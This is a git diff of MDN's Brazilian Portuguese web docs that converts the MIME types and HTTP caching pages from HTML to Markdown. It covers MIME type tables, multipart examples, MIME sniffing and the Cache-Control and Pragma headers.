TipoDescriçãoExemplos de subtipos típicos
textRepresenta qualquer documento que contenha texto e é teoricamente legivel para o ser humano.text/plain, text/html, text/css, text/javascript
imageRepresenta qualquer tipo de imagens. Os vídeos não estão incluídos, embora imagens animadas (como gif animado) sejam descritas com um tipo de imagem.image/gif, image/png, image/jpeg, image/bmp, image/webp
audioRepresenta qualquer tipo de arquivo de audioaudio/midi, audio/mpeg, audio/webm, audio/ogg, audio/wav
videoRepresenta qualquer tipo de arquivo de videovideo/webm, video/ogg
applicationRepresenta qualquer tipo de dados binários.application/octet-stream, application/pkcs12, application/vnd.mspowerpoint, application/xhtml+xml, application/xml, application/pdf
- -

Para documentos de texto sem um subtipo especifico, text/plain deverá ser usado. Assim como, para documentos binários sem subtipo especifico ou conhecido, application/octet-stream deverá ser usado.

- -

Tipos de multipart

- -
multipart/form-data
-multipart/byteranges
- -

Multipart types indicam uma categoria de documento que são quebrados em partes distintas, muitas vezes com diferentes tipos MIME. É uma maneira de representar um documento composto. Com exceção de multipart/form-data, que são usados ​​em relação de formularios HTML e metodo {{HTTPMethod("POST")}}, e multipart/byteranges que são usados em conjunto com {{HTTPStatus("206")}} Mensagem de status de conteúdo parcial para enviar apenas um subconjunto de um documento inteiro, o HTTP não manipula documentos de várias partes de uma maneira específica: a mensagem é simplesmente transmitida ao navegador (o que provavelmente irá propor uma janela Salvar como, sem saber como exibir o documento).

- -

Importantes MIME types para desenvolvedores Web

- -

application/octet-stream

- -

Este é o valor padrão para um arquivo binario. Como é um arquivo binário desconhecido, os navegadores geralmente não irá executá-lo automaticamente, ou irá perguntar se ele deve ser executado. Eles tratam-na como se o cabeçalho {{HTTPHeader("Content-Disposition")}} fosse definido com o anexo de valor e propusessem um "Salvar como".

- -

text/plain

- -

Este é o valor padrão para arquivos de texto. Mesmo se realmente significa arquivo textual desconhecido, os navegadores assumem que eles podem exibi-lo.

- -
-

Note que text/plain não significa qualquer tipo de dados textuais. Se eles esperam um tipo específico de dados textuais, eles provavelmente não consideram uma correspondência. Especificamente se eles baixarem um arquivo text/plain de um elemento {{HTMLElement ("link")}} declarando arquivos CSS, eles não o reconhecerão como arquivos CSS válidos se forem apresentados com text/plain.
- O CSS mime tipo text/css deve ser usado.

-
- -

text/css

- -

Quaisquer arquivos CSS que têm de ser interpretados como tal em uma página da Web devem ser dos arquivos de text/css. Muitas vezes os servidores não reconhecem arquivos com o sufixo .css como arquivos CSS, em vez disso, enviam-nos com o tipo MIME de text/plain ou application/octet-stream: nesses casos, eles não serão reconhecidos como arquivos CSS pela maioria dos navegadores e serão silenciosamente ignorados.
- Atenção especial tem de ser paga para servir arquivos CSS com o tipo correto.

- -

text/html

- -

Todo o conteúdo HTML deve ser exibido com este tipo. Tipos MIME alternativos para XHTML (como application/xml+html) são em sua maioria inúteis hoje em dia (HTML5 unificou esses formatos).

- -

Images types

- -

Apenas um punhado de tipos de imagem são amplamente reconhecidos e são considerados seguros na Web, prontos para uso em uma página da Web:

- - - - - - - - - - - - - - - - - - - - - - - - - - -
MIME typeImage type
image/gifGIF images (Compressão sem perdas, substituído por PNG)
image/jpegJPEG images
image/pngPNG images
image/svg+xmlSVG images (vector images)
- -

Há uma discussão para adicionar WebP (image / webp) a esta lista, mas como cada novo tipo de imagem irá aumentar o tamanho de um codebase, isso pode introduzir novos problemas de segurança, então os fornecedores de navegador são cautelosos em aceitá-lo.

- -

Outros tipos de imagens podem ser encontrados em documentos da Web. Por exemplo, muitos navegadores suportam tipos de imagem de ícones para favicons ou similares.
- Em particular, as imagens do ICO são suportadas neste contexto com o tipo MIME image/x-icon.

- -

Audio and video types

- -

Como as imagens, o HTML não define um conjunto de tipos suportados para usar com os elementos {{HTMLElement("audio")}} e {{HTMLElement("video")}} , de modo que apenas um grupo relativamente pequeno deles pode ser Usado na Web. Os formatos de mídia suportados pelos elementos de áudio e vídeo em HTML explicam os codecs e formatos de contêiner que podem ser usados.
-
- O tipo MIME de tais arquivos principalmente representam os formatos de contêiner e os mais comuns em um contexto da Web são:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
MIME typeAudio or video type
audio/wave
- audio/wav
- audio/x-wav
- audio/x-pn-wav
Um arquivo de áudio no formato de recipiente WAVE. O codec de áudio PCM (WAVE codec "1") é freqüentemente suportado, mas outros codecs têm suporte mais limitado (se houver).
audio/webmUm arquivo de áudio no formato de contêiner WebM. Vorbis e Opus são os codecs de áudio mais comuns.
video/webmUm arquivo de vídeo, possivelmente com áudio, no formato de contêiner WebM. VP8 e VP9 são os codecs video os mais comuns usados ​​dentro dele; Vorbis e Opus os codecs de áudio mais comuns.
audio/oggUm arquivo de áudio no formato de contêiner OGG. Vorbis é o codec de áudio mais comum usado em tal recipiente.
video/oggUm arquivo de vídeo, possivelmente com áudio, no formato de contêiner OGG. Theora é o codec video usual usado dentro dele; Vorbis é o codec de áudio usual.
application/oggUm arquivo de áudio ou vídeo usando o formato de contêiner OGG. Theora é o codec video usual usado dentro dele; Vorbis é o codec de áudio usual.
- -

multipart/form-data

- -

O tipo multipart/form-data pode ser usado ao enviar o conteúdo de um formulario HTML preenchido do navegador para o servidor. Como um documento multipart formal, consiste em partes diferentes, delimitado por um limite (uma seqüência de caracteres começando com um traço duplo '--'). Cada parte é uma entidade por si só, com seus próprios cabeçalhos HTTP, {{HTTPHeader("Content-Disposition")}}, e {{HTTPHeader("Content-Type")}} Para os campos de upload de arquivos, e os mais comuns ({{HTTPHeader("Content-Length")}} É ignorada como a linha de limite é usada como o delimitador).

- -
Content-Type: multipart/form-data; boundary=aBoundaryString
+…
+```
+
+Tipos _discretos_ indicam a categoria do documento, ele pode ser um dos seguintes:
+
+| Tipo          | Descrição                                                                                                                                             | Exemplos de subtipos típicos                                                                                                                    |
+| ------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------- |
+| `text`        | Representa qualquer documento que contenha texto e é teoricamente legivel para o ser humano.                                                          | `text/plain`, `text/html`, `text/css, text/javascript`                                                                                          |
+| `image`       | Representa qualquer tipo de imagens. Os vídeos não estão incluídos, embora imagens animadas (como gif animado) sejam descritas com um tipo de imagem. | `image/gif`, `image/png`, `image/jpeg`, `image/bmp`, `image/webp`                                                                               |
+| `audio`       | Representa qualquer tipo de arquivo de audio                                                                                                          | `audio/midi`, `audio/mpeg, audio/webm, audio/ogg, audio/wav`                                                                                    |
+| `video`       | Representa qualquer tipo de arquivo de video                                                                                                          | `video/webm`, `video/ogg`                                                                                                                       |
+| `application` | Representa qualquer tipo de dados binários.                                                                                                           | `application/octet-stream`, `application/pkcs12`, `application/vnd.mspowerpoint`, `application/xhtml+xml`, `application/xml`, `application/pdf` |
+
+Para documentos de texto sem um subtipo especifico, **`text/plain`** deverá ser usado. Assim como, para documentos binários sem subtipo especifico ou conhecido, **`application/octet-stream`** deverá ser usado.
+
+### Tipos de multipart
+
+```
+multipart/form-data
+multipart/byteranges
+```
+
+_Multipart types_ indicam uma categoria de documento que são quebrados em partes distintas, muitas vezes com diferentes tipos MIME. É uma maneira de representar um documento composto. Com exceção de `multipart/form-data`, que são usados ​​em relação de [formularios HTML](/pt-BR/docs/Web/Guide/HTML/Forms) e metodo {{HTTPMethod("POST")}}, e `multipart/byteranges` que são usados em conjunto com {{HTTPStatus("206")}} `Mensagem de status de conteúdo parcial para enviar apenas um subconjunto de um documento inteiro, o HTTP não manipula documentos de várias partes de uma maneira específica: a mensagem é simplesmente transmitida ao navegador (o que provavelmente irá propor uma janela Salvar como, sem saber como exibir o documento).`
+
+## Importantes _MIME types_ para desenvolvedores Web
+
+### `application/octet-stream`
+
+Este é o valor padrão para um arquivo binario. Como é um arquivo binário desconhecido, os navegadores geralmente não irá executá-lo automaticamente, ou irá perguntar se ele deve ser executado. Eles tratam-na como se o cabeçalho {{HTTPHeader("Content-Disposition")}} fosse definido com o anexo de valor e propusessem um "Salvar como".
+
+### `text/plain`
+
+Este é o valor padrão para arquivos de texto. Mesmo se realmente significa arquivo textual desconhecido, os navegadores assumem que eles podem exibi-lo.
+
+> **Nota:** Note que `text/plain` não significa qualquer tipo de dados textuais. Se eles esperam um tipo específico de dados textuais, eles provavelmente não consideram uma correspondência. Especificamente se eles baixarem um arquivo `text/plain` de um elemento {{HTMLElement ("link")}} declarando arquivos CSS, eles não o reconhecerão como arquivos CSS válidos se forem apresentados com `text/plain`.
+> O CSS mime tipo `text/css` deve ser usado.
+
+### `text/css`
+
+Quaisquer arquivos CSS que têm de ser interpretados como tal em uma página da Web devem ser dos arquivos de `text/css`. Muitas vezes os servidores não reconhecem arquivos com o sufixo .css como arquivos CSS, em vez disso, enviam-nos com o tipo MIME de `text/plain` ou `application/octet-stream`: nesses casos, eles não serão reconhecidos como arquivos CSS pela maioria dos navegadores e serão silenciosamente ignorados.
+Atenção especial tem de ser paga para servir arquivos CSS com o tipo correto.
+
+### `text/html`
+
+Todo o conteúdo HTML deve ser exibido com este tipo. Tipos MIME alternativos para XHTML (como `application/xml+html)` são em sua maioria inúteis hoje em dia (HTML5 unificou esses formatos).
+
+### Images types
+
+Apenas um punhado de tipos de imagem são amplamente reconhecidos e são considerados seguros na Web, prontos para uso em uma página da Web:
+
+| MIME type       | Image type                                              |
+| --------------- | ------------------------------------------------------- |
+| `image/gif`     | GIF images (Compressão sem perdas, substituído por PNG) |
+| `image/jpeg`    | JPEG images                                             |
+| `image/png`     | PNG images                                              |
+| `image/svg+xml` | SVG images (vector images)                              |
+
+Há uma discussão para adicionar WebP (image / webp) a esta lista, mas como cada novo tipo de imagem irá aumentar o tamanho de um codebase, isso pode introduzir novos problemas de segurança, então os fornecedores de navegador são cautelosos em aceitá-lo.
+
+Outros tipos de imagens podem ser encontrados em documentos da Web. Por exemplo, muitos navegadores suportam tipos de imagem de ícones para favicons ou similares.
+Em particular, as imagens do ICO são suportadas neste contexto com o tipo MIME `image/x-icon`.
+
+### Audio and video types
+
+Como as imagens, o HTML não define um conjunto de tipos suportados para usar com os elementos {{HTMLElement("audio")}} e {{HTMLElement("video")}} , de modo que apenas um grupo relativamente pequeno deles pode ser Usado na Web. Os [formatos de mídia suportados pelos elementos de áudio e vídeo em HTML](/pt-BR/docs/Web/HTML/Supported_media_formats) explicam os codecs e formatos de contêiner que podem ser usados.
+
+O tipo MIME de tais arquivos principalmente representam os formatos de contêiner e os mais comuns em um contexto da Web são:
+
+| MIME type                                               | Audio or video type                                                                                                                                                                          |
+| ------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `audio/wave` `audio/wav` `audio/x-wav` `audio/x-pn-wav` | Um arquivo de áudio no formato de recipiente WAVE. O codec de áudio PCM (WAVE codec "1") é freqüentemente suportado, mas outros codecs têm suporte mais limitado (se houver).                |
+| `audio/webm`                                            | Um arquivo de áudio no formato de contêiner WebM. Vorbis e Opus são os codecs de áudio mais comuns.                                                                                          |
+| `video/webm`                                            | Um arquivo de vídeo, possivelmente com áudio, no formato de contêiner WebM. VP8 e VP9 são os codecs video os mais comuns usados ​​dentro dele; Vorbis e Opus os codecs de áudio mais comuns. |
+| `audio/ogg`                                             | Um arquivo de áudio no formato de contêiner OGG. Vorbis é o codec de áudio mais comum usado em tal recipiente.                                                                               |
+| `video/ogg`                                             | Um arquivo de vídeo, possivelmente com áudio, no formato de contêiner OGG. Theora é o codec video usual usado dentro dele; Vorbis é o codec de áudio usual.                                  |
+| `application/ogg`                                       | Um arquivo de áudio ou vídeo usando o formato de contêiner OGG. Theora é o codec video usual usado dentro dele; Vorbis é o codec de áudio usual.                                             |
+
+### `multipart/form-data`
+
+O tipo `multipart/form-data` pode ser usado ao enviar o conteúdo de um [formulario HTML](/pt-BR/docs/Web/Guide/HTML/Forms) preenchido do navegador para o servidor. Como um documento multipart formal, consiste em partes diferentes, delimitado por um limite (uma seqüência de caracteres começando com um traço duplo '--'). Cada parte é uma entidade por si só, com seus próprios cabeçalhos HTTP, {{HTTPHeader("Content-Disposition")}}, e {{HTTPHeader("Content-Type")}} Para os campos de upload de arquivos, e os mais comuns ({{HTTPHeader("Content-Length")}} É ignorada como a linha de limite é usada como o delimitador).
+
+```
+Content-Type: multipart/form-data; boundary=aBoundaryString
 (Outros cabeçalhos associados ao documento em várias partes como um todo)
 
 --aBoundaryString
@@ -213,21 +138,23 @@ Content-Disposition: form-data; name="myField"
 --aBoundaryString
 (mais subpartes)
 --aBoundaryString--
+```
 
-
- -

O seguinte formulario:

+O seguinte formulario: -
<form action="http://localhost:8000/" method="post" enctype="multipart/form-data">
-  <input type="text" name="myTextField">
-  <input type="checkbox" name="myCheckBox">Check</input>
-  <input type="file" name="myFile">
-  <button>Send the file</button>
-</form>
+```html +
+ + Check + + +
+``` -

Enviará esta mensagem:

+Enviará esta mensagem: -
POST / HTTP/1.1
+```
+POST / HTTP/1.1
 Host: localhost:8000
 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
@@ -252,14 +179,14 @@ Content-Type: text/plain
 
 Simple file.
 -----------------------------8721656041911415653955004498--
+```
 
-
- -

multipart/byteranges

+### `multipart/byteranges` -

O tipo MIME multipart/byteranges é usado no contexto de enviar respostas parciais para o navegador. Quando o código de status de conteúdo parcial {{HTTPStatus("206")}} é enviado, este tipo MIME é usado para indicar que o documento é composto de várias partes, uma para cada um do intervalo solicitado. Como outros tipos de multipart, o {{HTTPHeader("Content-Type")}} usa a diretiva de limite para definir a seqüência de limites. Cada uma das diferentes partes tem um cabeçalho {{HTTPHeader("Content-Type")}} com o tipo real do documento e um {{HTTPHeader("Content-Range")}} com o intervalo que representam.

+O tipo MIME `multipart/byteranges `é usado no contexto de enviar respostas parciais para o navegador. Quando o código de status de conteúdo parcial {{HTTPStatus("206")}}` `é enviado, este tipo MIME é usado para indicar que o documento é composto de várias partes, uma para cada um do intervalo solicitado. Como outros tipos de multipart, o {{HTTPHeader("Content-Type")}} usa a diretiva de limite para definir a seqüência de limites. Cada uma das diferentes partes tem um cabeçalho {{HTTPHeader("Content-Type")}} com o tipo real do documento e um {{HTTPHeader("Content-Range")}} com o intervalo que representam. -
HTTP/1.1 206 Partial Content
+```
+HTTP/1.1 206 Partial Content
 Accept-Ranges: bytes
 Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5
 Content-Length: 385
@@ -268,8 +195,8 @@ Content-Length: 385
 Content-Type: text/html
 Content-Range: bytes 100-200/1270
 
-eta http-equiv="Content-type" content="text/html; charset=utf-8" />
-    <meta name="vieport" content
+eta http-equiv="Content-type" content="text/html; charset=utf-8" />
+    
+--3d6b6a416f9b5-- +``` -

Importância de definir o MIME type correto

+## Importância de definir o `MIME type` correto -

A maioria dos servidores web envia recursos de tipo desconhecido usando o tipo MIME de application/octet-stream padrão. Por razões de segurança, a maioria dos navegadores não permite definir uma ação padrão personalizada para esses recursos, forçando o usuário a armazená-lo no disco para usá-lo. Algumas configurações de servidor incorretamente exibidas ocorrem com os seguintes tipos de arquivo:

+A maioria dos servidores web envia recursos de tipo desconhecido usando o tipo MIME de application/octet-stream padrão. Por razões de segurança, a maioria dos navegadores não permite definir uma ação padrão personalizada para esses recursos, forçando o usuário a armazená-lo no disco para usá-lo. Algumas configurações de servidor incorretamente exibidas ocorrem com os seguintes tipos de arquivo: -
    -
  • -

    Arquivos RAR-codificados. Neste caso, o ideal seria definir o verdadeiro tipo de arquivos codificados; Isso muitas vezes não é possível (como pode não ser conhecido para o servidor e esses arquivos podem conter vários recursos de tipos diferentes). Nesse caso, configure o servidor para enviar o tipo MIME application/x-rar-compressed.

    -
  • -
  • -

    Arquivos de áudio e vídeo. Somente recursos com o Tipo MIME correto serão reconhecidos e reproduzidos em elementos {{HTMLElement("video")}} ou {{HTMLElement("áudio")}}. Certifique-se de usar o tipo correto para áudio e vídeo.

    -
  • -
  • -

    Tipos de arquivos proprietários. Preste especial atenção ao servir um tipo de arquivo proprietário. Evite usar o application/octet-stream como manipulação especial não será possível: a maioria dos navegadores não permitem definir um comportamento padrão (como "Abertura no Word") para este tipo MIME genérico.

    -
  • -
+- Arquivos RAR-codificados. Neste caso, o ideal seria definir o verdadeiro tipo de arquivos codificados; Isso muitas vezes não é possível (como pode não ser conhecido para o servidor e esses arquivos podem conter vários recursos de tipos diferentes). Nesse caso, configure o servidor para enviar o tipo MIME `application/x-rar-compressed`. +- Arquivos de áudio e vídeo. Somente recursos com o Tipo MIME correto serão reconhecidos e reproduzidos em elementos {{HTMLElement("video")}} ou {{HTMLElement("áudio")}}. Certifique-se [de usar o tipo correto para áudio e vídeo](/En/Media_formats_supported_by_the_audio_and_video_elements). +- Tipos de arquivos proprietários. Preste especial atenção ao servir um tipo de arquivo proprietário. Evite usar o `application/octet-stream` como manipulação especial não será possível: a maioria dos navegadores não permitem definir um comportamento padrão (como "Abertura no Word") para este tipo MIME genérico. -

MIME sniffing

+## MIME sniffing -

Na ausência de um tipo MIME, ou em alguns outros casos em que um cliente acredita que estão incorrectamente definidos, os navegadores podem conduzir MIME sniffing, que está adivinhando o tipo MIME correto, olhando para o recurso. Cada navegador executa isso de forma diferente e em circunstâncias diferentes. Existem algumas preocupações de segurança com esta prática,
- Como alguns tipos MIME representam conteúdo executável e outros não. Os servidores podem bloquear MIME sniffing enviando o {{HTTPHeader("X-Content-Type-Options")}} ao longo do {{HTTPHeader("Content-Type")}}.

+Na ausência de um tipo MIME, ou em alguns outros casos em que um cliente acredita que estão incorrectamente definidos, os navegadores podem conduzir MIME sniffing, que está adivinhando o tipo MIME correto, olhando para o recurso. Cada navegador executa isso de forma diferente e em circunstâncias diferentes. Existem algumas preocupações de segurança com esta prática, +Como alguns tipos MIME representam conteúdo executável e outros não. Os servidores podem bloquear MIME sniffing enviando o {{HTTPHeader("X-Content-Type-Options")}} ao longo do {{HTTPHeader("Content-Type")}}. -

See also

+## See also - +- [Properly configuring server MIME types](/pt-BR/docs/Web/Security/Securing_your_site/Configuring_server_MIME_types) +- [Media formats supported by the HTML audio and video elements](/pt-BR/docs/Web/HTML/Supported_media_formats) diff --git a/files/pt-br/web/http/caching/index.md b/files/pt-br/web/http/caching/index.md index fbe2af01dda84c..dc08ca62767cea 100644 --- a/files/pt-br/web/http/caching/index.md +++ b/files/pt-br/web/http/caching/index.md @@ -12,147 +12,154 @@ tags: translation_of: Web/HTTP/Caching original_slug: Web/HTTP/HTTP --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

A performance de websites e aplicações podem ser melhoradas significativamente ao reusar recursos previamente buscados. Caches em web reduzem latência e o tráfego de rede e assim diminuir o tempo necesário para exibir uma representação do recurso. Ao usar caching em HTTP, websites se tornam mais responsivos.

+A performance de websites e aplicações podem ser melhoradas significativamente ao reusar recursos previamente buscados. Caches em web reduzem latência e o tráfego de rede e assim diminuir o tempo necesário para exibir uma representação do recurso. Ao usar _caching_ em HTTP, websites se tornam mais responsivos. -

Diferentes tipos de caches

+## Diferentes tipos de _caches_ -

Caching é uma técnica que guarda uma cópia de dado recurso e mostra de volta quando requisitado. Quando um web cache tem um recurso requerido em seu armazenamento, ele intercepta a solicitação e retorna sua cópia ao invés de fazer o download novamente do servidor original. Isto alcança vários objetivos: facilita o balanceamento do servidor que não precisa servir todos os clients sozinho, e melhora a performance por estar próximo do client, por exemplo, ele leva menos tempo para transmitir o recurso de volta. Para um website, é um componente principal para alcançar alta performance. De outro lado, ele deve ser configurado devidamente pois não são todos os recursos que ficam idênticos para sempre: é importante colocar um recurso em cache somente até que ele mude, não mais que isso.

+_Caching_ é uma técnica que guarda uma cópia de dado recurso e mostra de volta quando requisitado. Quando um web cache tem um recurso requerido em seu armazenamento, ele intercepta a solicitação e retorna sua cópia ao invés de fazer o download novamente do servidor original. Isto alcança vários objetivos: facilita o balanceamento do servidor que não precisa servir todos os _clients_ sozinho, e melhora a performance por estar próximo do _client_, por exemplo, ele leva menos tempo para transmitir o recurso de volta. Para um website, é um componente principal para alcançar alta performance. De outro lado, ele deve ser configurado devidamente pois não são todos os recursos que ficam idênticos para sempre: é importante colocar um recurso em cache somente até que ele mude, não mais que isso. -

Há muitos tipos de caches: estes podem ser agrupados em duas categorias principais, caches privados ou compartilhados. Um cache compartilhado é um cache que armazena respostas para serem reusadas por mais de um usuário. Um cache privado é dedicado a um único usuário. Esta página irá falar principalmente sobre caches em navegadores e em proxy, mas há também caches de gateway, CDN, cache de proxy reverso e balanceadores de carga (load balancers) que são implantados em servers da web para melhor confiabilidade, desempenho e dimensionamento de sites e aplicativos da web.

+Há muitos tipos de caches: estes podem ser agrupados em duas categorias principais, caches privados ou compartilhados. Um _cache compartilhado_ é um cache que armazena respostas para serem reusadas por mais de um usuário. Um _cache privado_ é dedicado a um único usuário. Esta página irá falar principalmente sobre caches em navegadores e em _proxy_, mas há também caches de _gateway_, CDN, cache de proxy reverso e balanceadores de carga (_load balancers)_ que são implantados em servers da web para melhor confiabilidade, desempenho e dimensionamento de sites e aplicativos da web. -

What a cache provide, advantages/disadvantages of shared/private caches.

+![What a cache provide, advantages/disadvantages of shared/private caches.](/en-US/docs/Web/HTTP/Caching/http_cache_type.png) -

Caches privados de browser

+### Caches privados de browser -

Um cache privado é dedicado para um único usuário. Você já pode ter visto "caching" nas configurações de seu navegador. Um cache de browser guarda todos os documentos que foram baixados via HTTP pelo usuário. Este cache é usado para tornar disponíveis documentos visitados para navegação "para frente e para trás" (ou back/forward, em Inglês), salvar, ver como fonte, etc. sem exigir uma viagem para o servidor. Também melhora a navegação offline de conteúdo em cache.

+Um cache privado é dedicado para um único usuário. Você já pode ter visto _"caching"_ nas configurações de seu navegador. Um cache de browser guarda todos os documentos que foram baixados via [HTTP](/pt-BR/docs/Web/HTTP "en/HTTP") pelo usuário. Este cache é usado para tornar disponíveis documentos visitados para navegação "para frente e para trás" (ou _back/forward_, em Inglês*)*, salvar, ver como fonte, etc. sem exigir uma viagem para o servidor. Também melhora a navegação offline de conteúdo em cache. -

Caches de proxy compartilhada

+### Caches de proxy compartilhada -

Uma cache compartilhada é uma cache que armazena respostas para serem reusadas por mais de um usuário. Por exemplo, um fornecedor de acesso à internet ou sua empresa pode ter definido uma web proxy como parte de sua infraestrutura de rede local para servir muitos usuários para que recursos populares sejam reusados numerosas vezes, reduzindo o tráfego de rede e latência.

+Uma cache compartilhada é uma cache que armazena respostas para serem reusadas por mais de um usuário. Por exemplo, um fornecedor de acesso à internet ou sua empresa pode ter definido uma web proxy como parte de sua infraestrutura de rede local para servir muitos usuários para que recursos populares sejam reusados numerosas vezes, reduzindo o tráfego de rede e latência. -

Alvos de operações de cache

+## Alvos de operações de cache -

Fazer cache de HTTP é opcional, mas reusar um recurso em cache é usualmente desejável. No entanto, caches HTTP comuns são tipicamente limitados a respostas em cache para {{HTTPMethod("GET")}} e podem declinar outros métodos. As chaves primárias de cache consistem de um método de requisição e um alvo URI (como requisições são alvos de cache, muitas vezes somente o URI é usado). Formas comuns de entrada de cache são:

+Fazer cache de HTTP é opcional, mas reusar um recurso em cache é usualmente desejável. No entanto, caches HTTP comuns são tipicamente limitados a respostas em cache para {{HTTPMethod("GET")}} e podem declinar outros métodos. As chaves primárias de cache consistem de um método de requisição e um alvo URI (como requisições são alvos de cache, muitas vezes somente o URI é usado). Formas comuns de entrada de cache são: -
    -
  • Resultados bem sucedidos de uma requisição: uma resposta {{HTTPStatus(200)}} (OK) para uma requisição {{HTTPMethod("GET")}} contendo recursos como documentos HTML, imagens ou arquivos.
  • -
  • Redirecionamentos permanentes: uma resposta {{HTTPStatus(301)}} (Moved Permanently).
  • -
  • Respostas de erro: um resultado {{HTTPStatus(404)}} (Not Found).
  • -
  • Resultados incompletos: uma resposta {{HTTPStatus(206)}} (Partial Content).
  • -
  • Outras respostas que não sejam {{HTTPMethod("GET")}} se algo mais adequado para uso como chave de cache é definido.
  • -
+- Resultados bem sucedidos de uma requisição: uma resposta {{HTTPStatus(200)}} (OK) para uma requisição {{HTTPMethod("GET")}} contendo recursos como documentos HTML, imagens ou arquivos. +- Redirecionamentos permanentes: uma resposta {{HTTPStatus(301)}} (Moved Permanently). +- Respostas de erro: um resultado {{HTTPStatus(404)}} (Not Found). +- Resultados incompletos: uma resposta {{HTTPStatus(206)}} (Partial Content). +- Outras respostas que não sejam {{HTTPMethod("GET")}} se algo mais adequado para uso como chave de cache é definido. -

Uma entrada de cache pode também consistir de múltiplas respostas armazenadas diferenciadas por uma chave secundária, se a requisição é alvo de negociação de conteúdo. Para mais detalhes veja a informação sobre o cabeçalho {{HTTPHeader("Vary")}} abaixo.

+Uma entrada de cache pode também consistir de múltiplas respostas armazenadas diferenciadas por uma chave secundária, se a requisição é alvo de negociação de conteúdo. Para mais detalhes veja a informação sobre o cabeçalho {{HTTPHeader("Vary")}} abaixo. -

Controlando cache

+## Controlando cache -

O cabeçalho Cache-control

+### O cabeçalho `Cache-control` -

O cabeçalho-geral {{HTTPHeader("Cache-Control")}} HTTP/1.1 é usado para especificar diretivas para mecanismos de cache em ambas requisições e respostas. Use este cabeçalho para definir suas políticas de cache com a variedade de diretivas que fornece.

+O cabeçalho-geral {{HTTPHeader("Cache-Control")}} HTTP/1.1 é usado para especificar diretivas para mecanismos de cache em ambas requisições e respostas. Use este cabeçalho para definir suas políticas de cache com a variedade de diretivas que fornece. -

Não usar armazenamento de cache

+#### Não usar armazenamento de cache -

O cache não deve armazenar nada sobre a requisição do cliente ou a resposta do servidor. Uma requisição é enviada ao servidor e uma resposta completa é baixada por cada e toda vez.

+O cache não deve armazenar nada sobre a requisição do cliente ou a resposta do servidor. Uma requisição é enviada ao servidor e uma resposta completa é baixada por cada e toda vez. -
Cache-Control: no-store
+```
+Cache-Control: no-store
 Cache-Control: no-cache, no-store, must-revalidate
-
+``` -

Sem fazer cache

+#### Sem fazer cache -

Um cache irá enviar a requisição ao servidor de origem para validação antes de liberar uma cópia em cache.

+Um cache irá enviar a requisição ao servidor de origem para validação antes de liberar uma cópia em cache. -
Cache-Control: no-cache
+``` +Cache-Control: no-cache +``` -

Caches privados e públicos

+#### Caches privados e públicos -

A diretiva "public" indica que a resposta pode ser colocada em cache por qualquer cache. Isto pode ser útil, se páginas com autenticação HTTP ou códigos de status de resposta que não são normalmente colocadas em cache, devem agora ser colocadas. Por outro lado, "private" indica que a resposta é para um único usuário somente e não deve ser armazenada por um cache compartilhado. Um cache privado de navegador pode armazenar a resposta neste caso.

+A diretiva "public" indica que a resposta pode ser colocada em cache por qualquer cache. Isto pode ser útil, se páginas com autenticação HTTP ou códigos de status de resposta que não são normalmente colocadas em cache, devem agora ser colocadas. Por outro lado, "private" indica que a resposta é para um único usuário somente e não deve ser armazenada por um cache compartilhado. Um cache privado de navegador pode armazenar a resposta neste caso. -
Cache-Control: private
+```
+Cache-Control: private
 Cache-Control: public
-
+``` -

Data de validade

+#### Data de validade -

A diretiva mais importante aqui é "max-age=<seconds>" que é a quantidade máxima de tempo que um recurso será considerado "fresco". Contrário ao {{HTTPHeader("Expires")}}, esta diretiva é relativa ao tempo da requisição. Para os arquivos na aplicação que não irão mudar, você pode normalmente adicionar cache agressivamente. Isto inclui arquivos estáticos como imagens, arquivos CSS e Javascript, por exemplo.

+A diretiva mais importante aqui é "`max-age=`" que é a quantidade máxima de tempo que um recurso será considerado "fresco". Contrário ao {{HTTPHeader("Expires")}}, esta diretiva é relativa ao tempo da requisição. Para os arquivos na aplicação que não irão mudar, você pode normalmente adicionar cache agressivamente. Isto inclui arquivos estáticos como imagens, arquivos CSS e Javascript, por exemplo. -

Para mais detalhes, veja também a seção Tempo de Vida abaixo.

+Para mais detalhes, veja também a seção Tempo de Vida abaixo. -
Cache-Control: max-age=31536000
+``` +Cache-Control: max-age=31536000 +``` -

Validação

+#### Validação -

Quando usamos a diretiva "must-revalidate", o cache deve verificar o status dos recursos obsoletos antes de os usar e os expirados não deverão ser usados. Para mais detalhes, veja a seção Validation abaixo.

+Quando usamos a diretiva "`must-revalidate`", o cache deve verificar o status dos recursos obsoletos antes de os usar e os expirados não deverão ser usados. Para mais detalhes, veja a seção [Validation](#Cache_validation) abaixo. -
Cache-Control: must-revalidate
+``` +Cache-Control: must-revalidate +``` -

O header Pragma

+### O header `Pragma` -

{{HTTPHeader("Pragma")}} é um header HTTP/1.0, não é especificado para respostas HTTP e não é, assim, uma reposição confiável para o cabeçalho geral HTTP/1.1 Cache-Control, apesar de se comportar da mesma forma que Cache-Control: no-cache, se o campo do cabeçalho Cache-Control é omitido em uma requisição.Use Pragma somente para compatibilidade com clients HTTP/1.0 mais antigos

+{{HTTPHeader("Pragma")}} é um header HTTP/1.0, não é especificado para respostas HTTP e não é, assim, uma reposição confiável para o cabeçalho geral HTTP/1.1 `Cache-Control`, apesar de se comportar da mesma forma que `Cache-Control: no-cache`, se o campo do cabeçalho `Cache-Control` é omitido em uma requisição.Use `Pragma` somente para compatibilidade com clients HTTP/1.0 mais antigos -

Tempo de Vida

+## Tempo de Vida -

